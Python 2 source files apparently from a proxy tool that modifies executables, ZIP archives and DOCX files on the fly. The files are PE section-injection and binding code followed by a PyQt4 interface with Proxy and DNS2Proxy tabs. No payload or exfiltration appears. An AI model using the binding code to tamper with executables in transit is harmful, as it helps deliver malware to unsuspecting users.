# Checking if more space can be added.
if self.pe.OPTIONAL_HEADER.SizeOfHeaders < self.pe.sections[0].VirtualAddress:
self.__add_header_space()
print "Additional space to add a new section header was allocated."
else:
raise SectionDoublePError("No more space can be added for the section header.")
# The validity check of RawAddress is done after space for a new section header may
# have been added because if space had been added the PointerToRawData of the previous
# section would have changed.
if (RawAddress != (self.pe.sections[-1].PointerToRawData +
self.pe.sections[-1].SizeOfRawData)):
RawAddress = \
(self.pe.sections[-1].PointerToRawData + self.pe.sections[-1].SizeOfRawData)
# Appending the data of the new section to the file.
# if len(Data) > 0:
# self.pe.__data__ = (self.pe.__data__[:RawAddress] + Data + \
# self.pe.__data__[RawAddress:])
section_offset = section_table_offset + self.pe.FILE_HEADER.NumberOfSections * 0x28
# Manually writing the data of the section header to the file.
self.pe.set_bytes_at_offset(section_offset, Name)
self.pe.set_dword_at_offset(section_offset + 0x08, VirtualSize)
self.pe.set_dword_at_offset(section_offset + 0x0C, VirtualAddress)
# self.pe.set_dword_at_offset(section_offset+0x10, temp)
self.pe.set_dword_at_offset(section_offset + 0x10, RawSize)
self.pe.set_dword_at_offset(section_offset + 0x14, RawAddress)
self.pe.set_dword_at_offset(section_offset + 0x18, RelocAddress)
self.pe.set_dword_at_offset(section_offset + 0x1C, Linenumbers)
self.pe.set_word_at_offset(section_offset + 0x20, RelocationsNumber)
self.pe.set_word_at_offset(section_offset + 0x22, LinenumbersNumber)
self.pe.set_dword_at_offset(section_offset + 0x24, Characteristics)
self.pe.FILE_HEADER.NumberOfSections += 1
# Parsing the section table of the file again to add the new section to the sections
# list of pefile.
self.pe.parse_sections(section_table_offset)
self.__adjust_optional_header()
else:
raise SectionDoublePError("The NumberOfSections specified in the file header and the " +
"size of the sections list of pefile don't match.")
return self.pe
def print_directories(pe):
print "id\tOffset\tSize"
for i in range(len(pe.OPTIONAL_HEADER.DATA_DIRECTORY)):
print "%d\t0x%x\t%d" % (
i, pe.OPTIONAL_HEADER.DATA_DIRECTORY[i].VirtualAddress, pe.OPTIONAL_HEADER.DATA_DIRECTORY[i].Size)
class EXE():
"""
Holds the entire Binding process
exe passed must be a PE
"""
saved_data = 0
def __init__(self, exe=None, header=None, size=0, name=''):
if header is None:
self.name = exe
pe = PE(exe)
size = stat(exe).st_size
fd = open(exe, 'rb')
self.data = fd.read()
fd.close()
else:
try:
pe = PE(data=header)
except:
print '* %s is not a PE file...' % exe
return
if name == '':
self.name = "setup.exe"
if size == 0:
print '* Dont have the filesize. Calculating but it can be wrong if Overlay.....!!!'
print '* PE Size %d'%size
self.temp_name = directorio_temporal + randomword(10) + '.exe'
fd = open(self.temp_name, "wb")
fd.close()
self.pe = pe
self.nsec = len(pe.sections)
self.filesize = pe.OPTIONAL_HEADER.SizeOfHeaders
i = 0
self.arsrc_name = 0
self.arsrc_size = 0
self.arsrc_offset = 0
self.arsrc_VirtualSize = 0
self.arsrc_VirtualAddress = 0
self.VirtualAddress = 0
for section in pe.sections:
self.filesize += section.SizeOfRawData
if section.Name.replace("\x00", "") == ".rsrc":
self.arsrc_name = section.Name
self.arsrc_size = section.SizeOfRawData
self.arsrc_offset = section.PointerToRawData
self.arsrc_VirtualSize = section.Misc_VirtualSize
self.arsrc_VirtualAddress = section.VirtualAddress
i += 1
if size != 0:
self.overlay = size - self.filesize
self.size = size
if self.overlay < 0:
print '* Size provided less than what is at PE header ???? '
return
else:
self.size = self.filesize
def SavePE(self, filename=''):
if filename == '':
filename = self.temp_name
self.pe.write(filename)
self.pe.close()
return filename
def CopyPE(self, filename=''): # TODO: Error handling
if filename == '':
return False
fd = open(filename, "wb")
fd.write(self.pe.__data__)
fd.close()
return filename
def Save_Data(self, data, filename='', to_pos=0): # TODO: Error handling
if filename == '':
filename = self.temp_name
fd = open(filename, "rb+")
if to_pos != -1:
fd.seek(to_pos)
# print "> Saving data at %s pos %d (0x%x) size %d"%(filename,to_pos,to_pos, len(data))
else:
fd.seek(0, 2)
# print "> Append data at %s "%filename
self.saved_data += len(data)
#print '> Saved data %d'%self.saved_data
fd.write(data)
fd.close()
def Append_Data(self, data, filename=''): # TODO: Error handling
if filename == '':
filename = self.temp_name
fd = open(filename, "ab")
print "> Append data at %s " % filename
fd.write(data)
fd.close()
def Load_Data(self, length=0, from_pos=0):
# if length == 0:
# print '> Loaded Data from PE %d (0x%x) bytes'%(len(self.pe.__data__),len(self.pe.__data__))
# return self.pe.__data__
fd = open(self.temp_name, "rb")
fd.seek(from_pos)
if length == 0:
data = fd.read()
else:
data = fd.read(length)
print '> Loaded Data from PE %d (0x%x) bytes' % (len(data), len(data))
fd.close()
return data
def AddSections(self, size=0, rsrc_size=0, rsrc_virtualsize=0, section_name = nombre_seccion):
sections = SectionDoubleP(self.pe)
self.VirtualAddress = 0
# Inject blob section (ini file till resources offset)
print '> Adding sections BLOB SIZE %d\tRSRC SIZE %d (VirtualSize %d 0x%x)' % (
size, rsrc_size, rsrc_virtualsize, rsrc_virtualsize)
if (size > 0):
print "> ADDING first blob (%d bytes)" % size
try:
data = "\x00" * size
self.pe = sections.push_back(Characteristics=0x40000040, Data=data, Name=section_name)
except SectionDoublePError as e:
print e
if rsrc_size > 0:
print "> ADDING rsrc (%d bytes)" % rsrc_size
# self.RawAddress = (pe.sections[-1].PointerToRawData + pe.sections[-1].SizeOfRawData)
try:
data = "\x00" * rsrc_size
self.pe = sections.push_back(Characteristics=0x40000040, Data=data, Name=".rsrc",
VirtualSize=rsrc_virtualsize)
except SectionDoublePError as e:
print e
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[2].VirtualAddress = self.pe.sections[-1].VirtualAddress
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[2].Size = self.pe.sections[-1].Misc_VirtualSize
self.VirtualAddress = self.pe.sections[-1].VirtualAddress
self.pe.write(self.temp_name)
self.pe.close()
return self.VirtualAddress
def Get_rsrc(self, size):
if size > 0:
fo = open(self.temp_name, 'rb')
fo.seek(self.arsrc_offset)
orsrc = fo.read(size)
fo.close()
return orsrc
return None
def Recalculate_rsrc_Data_Offsets(self, orsrc, arsrc_VirtualAddress, arsrc_offset):
if self.VirtualAddress == 0:
return None
VirtualAddress = self.VirtualAddress
# Resources Parse
recursos = bytearray(orsrc)
namedEntries = struct.unpack('<H', orsrc[12:14])
# print "* Named Entries %d (0x%x)"%(namedEntries[0],namedEntries[0])
NoNamedEntries = struct.unpack('<H', orsrc[14:16])
# print "* No Named Entries %d (0x%x)"%(NoNamedEntries[0],NoNamedEntries[0])
Entries = namedEntries[0] + NoNamedEntries[0]
for e in range(Entries):
dirOffset = struct.unpack('<L', orsrc[20 + (8 * e):24 + (8 * e)])[0]
if (dirOffset & 0x80000000):
dirOffset ^= 0x80000000
# print "* Dir Offsets 0x%x"%(dirOffset)
subdir = orsrc[dirOffset:]
NamedEntries = struct.unpack('<H', subdir[12:14])[0]
NoNamedEntries = struct.unpack('<H', subdir[14:16])[0]
subEntries = NamedEntries + NoNamedEntries
for se in range(subEntries):
sdirOffset = struct.unpack('<L', subdir[20 + (8 * se):24 + (8 * se)])[0]
if (sdirOffset & 0x80000000):
sdirOffset ^= 0x80000000
# print "\t* Subdir Offsets 0x%x"%(sdirOffset)
langdir = orsrc[sdirOffset:]
NamedEntries = struct.unpack('<H', langdir[12:14])[0]
NoNamedEntries = struct.unpack('<H', langdir[14:16])[0]
langEntries = NamedEntries + NoNamedEntries
for le in range(langEntries):
ldirOffset = struct.unpack('<L', langdir[20 + (8 * le):24 + (8 * le)])[0]
# print "\t\t* Data Lang Offset 0x%x"%ldirOffset
dataheader = orsrc[ldirOffset:]
dataOffset = struct.unpack('<L', dataheader[:4])[0] - arsrc_VirtualAddress + arsrc_offset
if (dataOffset > 0):
# print "\t\t\t* DATA at 0x%x"%dataOffset
new_dataOffset = (dataOffset - arsrc_offset) + VirtualAddress
# print "\t\t\t* New DATA at 0x%x (using VA 0x%x)"%(new_dataOffset,VirtualAddress)
buffer = struct.pack("<L", new_dataOffset)
for i in range(4):
recursos[ldirOffset + i] = buffer[i]
return recursos
def delete(self):
try:
os.unlink(self.temp_name)
except:
pass<file_sep># -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'interfaceEncimaDeLaMosca2.ui'
#
# Created: Sun Mar 8 11:59:56 2015
# by: PyQt4 UI code generator 4.11.3
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
#from lang_es import lang
from lang_en import lang
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8("MainWindow"))
MainWindow.setWindowModality(QtCore.Qt.WindowModal)
MainWindow.resize(1152, 679)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("images/Leo-256.ico")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
MainWindow.setWindowIcon(icon)
MainWindow.setWindowOpacity(29.0)
MainWindow.setDockNestingEnabled(False)
self.centralwidget = QtGui.QWidget(MainWindow)
self.centralwidget.setAcceptDrops(True)
self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
self.tabWidget = QtGui.QTabWidget(self.centralwidget)
self.tabWidget.setGeometry(QtCore.QRect(30, 20, 981, 581))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.tabWidget.sizePolicy().hasHeightForWidth())
self.tabWidget.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Lucida Grande"))
font.setPointSize(9)
font.setBold(True)
font.setWeight(75)
self.tabWidget.setFont(font)
self.tabWidget.setAcceptDrops(True)
self.tabWidget.setUsesScrollButtons(False)
self.tabWidget.setDocumentMode(False)
self.tabWidget.setTabsClosable(False)
self.tabWidget.setMovable(True)
self.tabWidget.setObjectName(_fromUtf8("tabWidget"))
self.Proxy = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.Proxy.setFont(font)
self.Proxy.setObjectName(_fromUtf8(lang[45]))
self.SaveLogButton = QtGui.QPushButton(self.Proxy)
self.SaveLogButton.setGeometry(QtCore.QRect(780, 520, 111, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.SaveLogButton.setFont(font)
self.SaveLogButton.setObjectName(_fromUtf8("SaveLogButton"))
self.ProxyOutput = QtGui.QTextBrowser(self.Proxy)
self.ProxyOutput.setGeometry(QtCore.QRect(10, 0, 921, 511))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.ProxyOutput.setFont(font)
self.ProxyOutput.setObjectName(_fromUtf8("ProxyOutput"))
self.CleanLog = QtGui.QPushButton(self.Proxy)
self.CleanLog.setGeometry(QtCore.QRect(660, 520, 101, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.CleanLog.setFont(font)
self.CleanLog.setObjectName(_fromUtf8("CleanLog"))
self.zoomIN = QtGui.QCommandLinkButton(self.Proxy)
self.zoomIN.setGeometry(QtCore.QRect(10, 520, 31, 31))
font = QtGui.QFont()
font.setPointSize(9)
self.zoomIN.setFont(font)
self.zoomIN.setText(_fromUtf8(""))
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("images/Zoom-In-icon.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.zoomIN.setIcon(icon1)
self.zoomIN.setIconSize(QtCore.QSize(16, 16))
self.zoomIN.setObjectName(_fromUtf8("zoomIN"))
self.zoomOUT = QtGui.QCommandLinkButton(self.Proxy)
self.zoomOUT.setGeometry(QtCore.QRect(40, 520, 31, 31))
font = QtGui.QFont()
font.setPointSize(9)
self.zoomOUT.setFont(font)
self.zoomOUT.setText(_fromUtf8(""))
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap(_fromUtf8("images/Zoom-Out-icon.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.zoomOUT.setIcon(icon2)
self.zoomOUT.setIconSize(QtCore.QSize(16, 16))
self.zoomOUT.setObjectName(_fromUtf8("zoomOUT"))
self.tabWidget.addTab(self.Proxy, _fromUtf8(""))
self.DNS2Proxy = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.DNS2Proxy.setFont(font)
self.DNS2Proxy.setObjectName(_fromUtf8("DNS2Proxy"))
self.DNSOutput = QtGui.QTextBrowser(self.DNS2Proxy)
self.DNSOutput.setGeometry(QtCore.QRect(10, 0, 921, 521))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.DNSOutput.setFont(font)
self.DNSOutput.setObjectName(_fromUtf8("DNSOutput"))
self.DNSCleanLog = QtGui.QPushButton(self.DNS2Proxy)
self.DNSCleanLog.setGeometry(QtCore.QRect(780, 530, 111, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.DNSCleanLog.setFont(font)
self.DNSCleanLog.setObjectName(_fromUtf8("DNSCleanLog"))
self.DNSzoomIN = QtGui.QCommandLinkButton(self.DNS2Proxy)
self.DNSzoomIN.setGeometry(QtCore.QRect(10, 520, 31, 31))
font = QtGui.QFont()
font.setPointSize(9)
self.DNSzoomIN.setFont(font)
self.DNSzoomIN.setText(_fromUtf8(""))
self.DNSzoomIN.setIcon(icon1)
self.DNSzoomIN.setIconSize(QtCore.QSize(16, 16))
self.DNSzoomIN.setObjectName(_fromUtf8("DNSzoomIN"))
self.DNSzoomOUT = QtGui.QCommandLinkButton(self.DNS2Proxy)
self.DNSzoomOUT.setGeometry(QtCore.QRect(40, 520, 31, 31))
font = QtGui.QFont()
font.setPointSize(9)
self.DNSzoomOUT.setFont(font)
self.DNSzoomOUT.setText(_fromUtf8(""))
self.DNSzoomOUT.setIcon(icon2)
self.DNSzoomOUT.setIconSize(QtCore.QSize(16, 16))
self.DNSzoomOUT.setObjectName(_fromUtf8("DNSzoomOUT"))
self.tabWidget.addTab(self.DNS2Proxy, _fromUtf8(""))
self.ZIPconf = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.ZIPconf.setFont(font)
self.ZIPconf.setAcceptDrops(True)
self.ZIPconf.setObjectName(_fromUtf8("ZIPconf"))
self.ZIPConfTab = QtGui.QTabWidget(self.ZIPconf)
self.ZIPConfTab.setGeometry(QtCore.QRect(0, 0, 941, 511))
font = QtGui.QFont()
font.setPointSize(9)
self.ZIPConfTab.setFont(font)
self.ZIPConfTab.setAcceptDrops(True)
self.ZIPConfTab.setIconSize(QtCore.QSize(12, 12))
self.ZIPConfTab.setObjectName(_fromUtf8("ZIPConfTab"))
self.ZIPConfMod = QtGui.QWidget()
self.ZIPConfMod.setAcceptDrops(True)
self.ZIPConfMod.setObjectName(_fromUtf8("ZIPConfMod"))
self.TableZipModFiles = QtGui.QTableWidget(self.ZIPConfMod)
self.TableZipModFiles.setGeometry(QtCore.QRect(10, 40, 911, 591))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableZipModFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableZipModFiles.setFont(font)
self.TableZipModFiles.setAcceptDrops(True)
self.TableZipModFiles.setAutoFillBackground(False)
self.TableZipModFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TableZipModFiles.setMidLineWidth(1)
self.TableZipModFiles.setDragEnabled(False)
self.TableZipModFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableZipModFiles.setDefaultDropAction(QtCore.Qt.CopyAction)
self.TableZipModFiles.setAlternatingRowColors(True)
self.TableZipModFiles.setSelectionMode(QtGui.QAbstractItemView.ContiguousSelection)
self.TableZipModFiles.setRowCount(0)
self.TableZipModFiles.setColumnCount(7)
self.TableZipModFiles.setObjectName(_fromUtf8("TableZipModFiles"))
item = QtGui.QTableWidgetItem()
self.TableZipModFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipModFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipModFiles.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipModFiles.setHorizontalHeaderItem(3, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipModFiles.setHorizontalHeaderItem(4, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipModFiles.setHorizontalHeaderItem(5, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipModFiles.setHorizontalHeaderItem(6, item)
self.TableZipModFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TableZipModFiles.horizontalHeader().setDefaultSectionSize(120)
self.TableZipModFiles.horizontalHeader().setStretchLastSection(True)
self.TableZipModFiles.verticalHeader().setVisible(False)
self.TableZipModFiles.verticalHeader().setCascadingSectionResizes(False)
self.TableZipModFiles.verticalHeader().setDefaultSectionSize(30)
self.TableZipModFiles.verticalHeader().setHighlightSections(False)
self.TableZipModFiles.verticalHeader().setSortIndicatorShown(False)
self.TableZipModFiles.verticalHeader().setStretchLastSection(False)
self.AddFileZipConfMod = QtGui.QPushButton(self.ZIPConfMod)
self.AddFileZipConfMod.setGeometry(QtCore.QRect(20, 11, 110, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFileZipConfMod.setFont(font)
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap(_fromUtf8("images/addfile.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.AddFileZipConfMod.setIcon(icon3)
self.AddFileZipConfMod.setIconSize(QtCore.QSize(12, 12))
self.AddFileZipConfMod.setObjectName(_fromUtf8("AddFileZipConfMod"))
self.ZIPConfTab.addTab(self.ZIPConfMod, _fromUtf8(""))
self.ZipConfAdd = QtGui.QWidget()
self.ZipConfAdd.setAcceptDrops(True)
self.ZipConfAdd.setObjectName(_fromUtf8("ZipConfAdd"))
self.TableZipAddFiles = QtGui.QTableWidget(self.ZipConfAdd)
self.TableZipAddFiles.setGeometry(QtCore.QRect(0, 40, 921, 441))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableZipAddFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableZipAddFiles.setFont(font)
self.TableZipAddFiles.setAcceptDrops(True)
self.TableZipAddFiles.setAutoFillBackground(False)
self.TableZipAddFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TableZipAddFiles.setLineWidth(0)
self.TableZipAddFiles.setMidLineWidth(0)
self.TableZipAddFiles.setDragEnabled(True)
self.TableZipAddFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableZipAddFiles.setDefaultDropAction(QtCore.Qt.LinkAction)
self.TableZipAddFiles.setAlternatingRowColors(True)
self.TableZipAddFiles.setShowGrid(True)
self.TableZipAddFiles.setGridStyle(QtCore.Qt.SolidLine)
self.TableZipAddFiles.setCornerButtonEnabled(True)
self.TableZipAddFiles.setRowCount(0)
self.TableZipAddFiles.setColumnCount(3)
self.TableZipAddFiles.setObjectName(_fromUtf8("TableZipAddFiles"))
item = QtGui.QTableWidgetItem()
self.TableZipAddFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipAddFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableZipAddFiles.setHorizontalHeaderItem(2, item)
self.TableZipAddFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TableZipAddFiles.horizontalHeader().setDefaultSectionSize(300)
self.TableZipAddFiles.horizontalHeader().setStretchLastSection(True)
self.TableZipAddFiles.verticalHeader().setVisible(False)
self.TableZipAddFiles.verticalHeader().setCascadingSectionResizes(False)
self.AddFileZipConfAdd = QtGui.QPushButton(self.ZipConfAdd)
self.AddFileZipConfAdd.setGeometry(QtCore.QRect(20, 11, 101, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFileZipConfAdd.setFont(font)
self.AddFileZipConfAdd.setIcon(icon3)
self.AddFileZipConfAdd.setIconSize(QtCore.QSize(12, 12))
self.AddFileZipConfAdd.setObjectName(_fromUtf8("AddFileZipConfAdd"))
self.ZIPConfTab.addTab(self.ZipConfAdd, _fromUtf8(""))
self.ZipSaveButton = QtGui.QPushButton(self.ZIPconf)
self.ZipSaveButton.setGeometry(QtCore.QRect(210, 531, 181, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.ZipSaveButton.setFont(font)
self.ZipSaveButton.setObjectName(_fromUtf8("ZipSaveButton"))
self.ZipLoadButton = QtGui.QPushButton(self.ZIPconf)
self.ZipLoadButton.setGeometry(QtCore.QRect(10, 530, 171, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.ZipLoadButton.setFont(font)
self.ZipLoadButton.setObjectName(_fromUtf8("ZipLoadButton"))
self.tabWidget.addTab(self.ZIPconf, _fromUtf8(""))
self.ooxmlconf = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.ooxmlconf.setFont(font)
self.ooxmlconf.setObjectName(_fromUtf8("ooxmlconf"))
self.ooxmlTabs = QtGui.QTabWidget(self.ooxmlconf)
self.ooxmlTabs.setGeometry(QtCore.QRect(0, 0, 941, 521))
font = QtGui.QFont()
font.setPointSize(9)
self.ooxmlTabs.setFont(font)
self.ooxmlTabs.setObjectName(_fromUtf8("ooxmlTabs"))
self.docx = QtGui.QWidget()
self.docx.setObjectName(_fromUtf8("docx"))
self.ZIPConfTab_6 = QtGui.QTabWidget(self.docx)
self.ZIPConfTab_6.setGeometry(QtCore.QRect(0, 0, 931, 651))
font = QtGui.QFont()
font.setPointSize(9)
self.ZIPConfTab_6.setFont(font)
self.ZIPConfTab_6.setAcceptDrops(True)
self.ZIPConfTab_6.setIconSize(QtCore.QSize(12, 12))
self.ZIPConfTab_6.setObjectName(_fromUtf8("ZIPConfTab_6"))
self.ZIPConfMod_7 = QtGui.QWidget()
self.ZIPConfMod_7.setAcceptDrops(True)
self.ZIPConfMod_7.setObjectName(_fromUtf8("ZIPConfMod_7"))
self.TableDocxModFiles = QtGui.QTableWidget(self.ZIPConfMod_7)
self.TableDocxModFiles.setGeometry(QtCore.QRect(10, 30, 911, 521))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableDocxModFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableDocxModFiles.setFont(font)
self.TableDocxModFiles.setAcceptDrops(True)
self.TableDocxModFiles.setAutoFillBackground(False)
self.TableDocxModFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TableDocxModFiles.setMidLineWidth(1)
self.TableDocxModFiles.setDragEnabled(False)
self.TableDocxModFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableDocxModFiles.setDefaultDropAction(QtCore.Qt.CopyAction)
self.TableDocxModFiles.setAlternatingRowColors(True)
self.TableDocxModFiles.setSelectionMode(QtGui.QAbstractItemView.ContiguousSelection)
self.TableDocxModFiles.setRowCount(0)
self.TableDocxModFiles.setColumnCount(4)
self.TableDocxModFiles.setObjectName(_fromUtf8("TableDocxModFiles"))
item = QtGui.QTableWidgetItem()
self.TableDocxModFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableDocxModFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableDocxModFiles.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableDocxModFiles.setHorizontalHeaderItem(3, item)
self.TableDocxModFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TableDocxModFiles.horizontalHeader().setDefaultSectionSize(200)
self.TableDocxModFiles.horizontalHeader().setStretchLastSection(True)
self.TableDocxModFiles.verticalHeader().setVisible(False)
self.TableDocxModFiles.verticalHeader().setCascadingSectionResizes(False)
self.TableDocxModFiles.verticalHeader().setDefaultSectionSize(30)
self.TableDocxModFiles.verticalHeader().setHighlightSections(False)
self.TableDocxModFiles.verticalHeader().setSortIndicatorShown(False)
self.TableDocxModFiles.verticalHeader().setStretchLastSection(False)
self.AddFileDocxConfMod = QtGui.QPushButton(self.ZIPConfMod_7)
self.AddFileDocxConfMod.setGeometry(QtCore.QRect(10, 0, 111, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFileDocxConfMod.setFont(font)
self.AddFileDocxConfMod.setIcon(icon3)
self.AddFileDocxConfMod.setIconSize(QtCore.QSize(12, 12))
self.AddFileDocxConfMod.setObjectName(_fromUtf8("AddFileDocxConfMod"))
self.ZIPConfTab_6.addTab(self.ZIPConfMod_7, _fromUtf8(""))
self.ZipConfAdd_7 = QtGui.QWidget()
self.ZipConfAdd_7.setAcceptDrops(True)
self.ZipConfAdd_7.setObjectName(_fromUtf8("ZipConfAdd_7"))
self.TableDocxAddFiles = QtGui.QTableWidget(self.ZipConfAdd_7)
self.TableDocxAddFiles.setGeometry(QtCore.QRect(10, 30, 911, 521))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableDocxAddFiles.setPalette(palette)
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.TableDocxAddFiles.setFont(font)
self.TableDocxAddFiles.setAcceptDrops(True)
self.TableDocxAddFiles.setAutoFillBackground(False)
self.TableDocxAddFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TableDocxAddFiles.setLineWidth(0)
self.TableDocxAddFiles.setMidLineWidth(0)
self.TableDocxAddFiles.setDragEnabled(True)
self.TableDocxAddFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableDocxAddFiles.setDefaultDropAction(QtCore.Qt.LinkAction)
self.TableDocxAddFiles.setAlternatingRowColors(True)
self.TableDocxAddFiles.setShowGrid(True)
self.TableDocxAddFiles.setGridStyle(QtCore.Qt.SolidLine)
self.TableDocxAddFiles.setCornerButtonEnabled(True)
self.TableDocxAddFiles.setRowCount(0)
self.TableDocxAddFiles.setColumnCount(3)
self.TableDocxAddFiles.setObjectName(_fromUtf8("TableDocxAddFiles"))
item = QtGui.QTableWidgetItem()
self.TableDocxAddFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
